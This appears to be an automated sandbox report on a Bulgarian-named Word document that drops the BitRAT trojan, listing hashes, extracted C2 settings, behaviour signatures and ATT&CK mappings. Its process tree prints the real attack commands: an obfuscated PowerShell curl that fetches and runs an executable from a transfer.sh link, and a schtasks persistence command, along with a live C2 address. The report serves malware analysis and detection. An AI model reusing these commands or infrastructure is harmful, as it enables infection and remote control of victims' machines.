bitrat | edce16eadba8d19990b2ff2e97420f07c1f4defe813ffe961f9cd777f8368b7b

General

Target

Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc
Size

199KB
MD5

3b92906782599469acffd05ba041942e
SHA1

522183445616d131f3edf13e6ea93c9f19c9f52f
SHA256

edce16eadba8d19990b2ff2e97420f07c1f4defe813ffe961f9cd777f8368b7b
SHA512

c1f8a1259327db79f98467d2a9e2dce172c39e78541476722863eb7b6fa5c39f41c39ad574e7e0b65ed4ab0d8a7201665df1463f2aeaa2d456634c94e71e0f33
SSDEEP

3072:NAN+svPwMrFoXiURMf8yS/TSTIs6sCbMD3itIm0QqgxJi+m:W33JodRU8yS/dLsZDyp0QZC

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1152	5032	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

31 2836 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

ggxnw.exeggxnw.exepint.exe

pid process

1764 ggxnw.exe
2232 ggxnw.exe
4940 pint.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

ggxnw.exe

pid process

2232 ggxnw.exe
2232 ggxnw.exe
2232 ggxnw.exe
2232 ggxnw.exe
2232 ggxnw.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ggxnw.exe

description pid process target process

PID 1764 set thread context of 2232 1764 ggxnw.exe ggxnw.exe

flow	pid	process
31	2836	powershell.exe

pid	process
1764	ggxnw.exe
2232	ggxnw.exe
4940	pint.exe

pid	process
2232	ggxnw.exe
2232	ggxnw.exe
2232	ggxnw.exe
2232	ggxnw.exe
2232	ggxnw.exe

description	pid	process	target process
PID 1764 set thread context of 2232	1764	ggxnw.exe	ggxnw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4344 schtasks.exe

pid	process
4344	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5032 WINWORD.EXE
5032 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2836 powershell.exe
2836 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeggxnw.exe

description pid process

Token: SeDebugPrivilege 2836 powershell.exe
Token: SeShutdownPrivilege 2232 ggxnw.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXEggxnw.exe

pid process

5032 WINWORD.EXE
5032 WINWORD.EXE
5032 WINWORD.EXE
5032 WINWORD.EXE
5032 WINWORD.EXE
5032 WINWORD.EXE
5032 WINWORD.EXE
2232 ggxnw.exe
2232 ggxnw.exe

pid	process
5032	WINWORD.EXE
5032	WINWORD.EXE

pid	process
2836	powershell.exe
2836	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeShutdownPrivilege	2232	ggxnw.exe

pid	process
5032	WINWORD.EXE
5032	WINWORD.EXE
5032	WINWORD.EXE
5032	WINWORD.EXE
5032	WINWORD.EXE
5032	WINWORD.EXE
5032	WINWORD.EXE
2232	ggxnw.exe
2232	ggxnw.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exeggxnw.execmd.exe

description	pid	process	target process
PID 5032 wrote to memory of 1152	5032	WINWORD.EXE	cmd.exe
PID 5032 wrote to memory of 1152	5032	WINWORD.EXE	cmd.exe
PID 1152 wrote to memory of 2836	1152	cmd.exe	powershell.exe
PID 1152 wrote to memory of 2836	1152	cmd.exe	powershell.exe
PID 2836 wrote to memory of 1764	2836	powershell.exe	ggxnw.exe
PID 2836 wrote to memory of 1764	2836	powershell.exe	ggxnw.exe
PID 2836 wrote to memory of 1764	2836	powershell.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 2232	1764	ggxnw.exe	ggxnw.exe
PID 1764 wrote to memory of 1816	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 1816	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 1816	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 3664	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 3664	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 3664	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 4156	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 4156	1764	ggxnw.exe	cmd.exe
PID 1764 wrote to memory of 4156	1764	ggxnw.exe	cmd.exe
PID 3664 wrote to memory of 4344	3664	cmd.exe	schtasks.exe
PID 3664 wrote to memory of 4344	3664	cmd.exe	schtasks.exe
PID 3664 wrote to memory of 4344	3664	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5032

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836

C:\Users\Public\ggxnw.exe
"C:\Users\Public\ggxnw.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1764

C:\Users\Public\ggxnw.exe
"C:\Users\Public\ggxnw.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2232

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
5⤵
PID:1816

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:3664

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
6⤵
- Creates scheduled task(s)
PID:4344

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\ggxnw.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
5⤵
PID:4156

C:\Users\Admin\AppData\Roaming\pint\pint.exe
C:\Users\Admin\AppData\Roaming\pint\pint.exe
1⤵
- Executes dropped EXE
PID:4940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkvtwiyj.bvq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
449KB

MD5
de25d857eec2b8fe297c67f995ea9159

SHA1
7171ae11682ba9911f873d749117a2c275948a67

SHA256
0a1118fa714de1877dfa74548a1d261e80f7f0b303d84fa3fb2a286acb4e4ea0

SHA512
e28aa7692bdb6e43bedcb3d07b5de0eb97f1568d5c5331694e31065e22f36c6b9f04371f280b89184a3924759c0d37d28f3d9d30e9698879151f605b47129d6c

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
14KB

MD5
9fa0925d2033967ece043a5963571232

SHA1
87cee71358f937a4deab18e0b4aa4656ddd8a20d

SHA256
8ae5a0879324a46c1a0baabda3f5ab64ef264b9bd2950bec1a34dbe2a90e37d6

SHA512
9a5033bd4882b1e3624aeed94eb1b6d317691f1ad65bce4474f7f82af2547b7e41b5bf13aead3b02aa1a7014ce1c26b803b237624252d45619af189b105a0046

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
memory/1764-58-0x0000000000480000-0x0000000000858000-memory.dmp

Filesize
3.8MB

Download
memory/1764-59-0x0000000075190000-0x0000000075940000-memory.dmp

Filesize
7.7MB

Download
memory/1764-60-0x00000000058C0000-0x0000000005E64000-memory.dmp

Filesize
5.6MB

Download
memory/1764-61-0x0000000005300000-0x0000000005310000-memory.dmp

Filesize
64KB

Download
memory/1764-70-0x0000000075190000-0x0000000075940000-memory.dmp

Filesize
7.7MB

Download
memory/2232-73-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-65-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-75-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-72-0x00000000750A0000-0x00000000750D9000-memory.dmp

Filesize
228KB

Download
memory/2232-71-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-76-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-77-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-78-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-66-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-74-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-79-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-64-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-62-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-80-0x0000000075440000-0x0000000075479000-memory.dmp

Filesize
228KB

Download
memory/2232-81-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-82-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-83-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2232-84-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/2836-48-0x00007FFF612F0000-0x00007FFF61DB1000-memory.dmp

Filesize
10.8MB

Download
memory/2836-37-0x0000021EBC2E0000-0x0000021EBC2F0000-memory.dmp

Filesize
64KB

Download
memory/2836-49-0x0000021EBC2E0000-0x0000021EBC2F0000-memory.dmp

Filesize
64KB

Download
memory/2836-57-0x00007FFF612F0000-0x00007FFF61DB1000-memory.dmp

Filesize
10.8MB

Download
memory/2836-47-0x0000021EBC2E0000-0x0000021EBC2F0000-memory.dmp

Filesize
64KB

Download
memory/2836-31-0x0000021EBC590000-0x0000021EBC5B2000-memory.dmp

Filesize
136KB

Download
memory/2836-35-0x00007FFF612F0000-0x00007FFF61DB1000-memory.dmp

Filesize
10.8MB

Download
memory/2836-36-0x0000021EBC2E0000-0x0000021EBC2F0000-memory.dmp

Filesize
64KB

Download
memory/5032-24-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-12-0x00007FFF4C110000-0x00007FFF4C120000-memory.dmp

Filesize
64KB

Download
memory/5032-38-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-40-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-41-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-42-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-43-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-0-0x00007FFF4E5F0000-0x00007FFF4E600000-memory.dmp

Filesize
64KB

Download
memory/5032-23-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-22-0x0000021CBCA80000-0x0000021CBDA50000-memory.dmp

Filesize
15.8MB

Download
memory/5032-13-0x00007FFF4C110000-0x00007FFF4C120000-memory.dmp

Filesize
64KB

Download
memory/5032-39-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-11-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-10-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-5-0x00007FFF4E5F0000-0x00007FFF4E600000-memory.dmp

Filesize
64KB

Download
memory/5032-9-0x00007FFF4E5F0000-0x00007FFF4E600000-memory.dmp

Filesize
64KB

Download
memory/5032-8-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-7-0x00007FFF4E5F0000-0x00007FFF4E600000-memory.dmp

Filesize
64KB

Download
memory/5032-6-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-3-0x00007FFF4E5F0000-0x00007FFF4E600000-memory.dmp

Filesize
64KB

Download
memory/5032-4-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-2-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download
memory/5032-1-0x00007FFF8E570000-0x00007FFF8E765000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads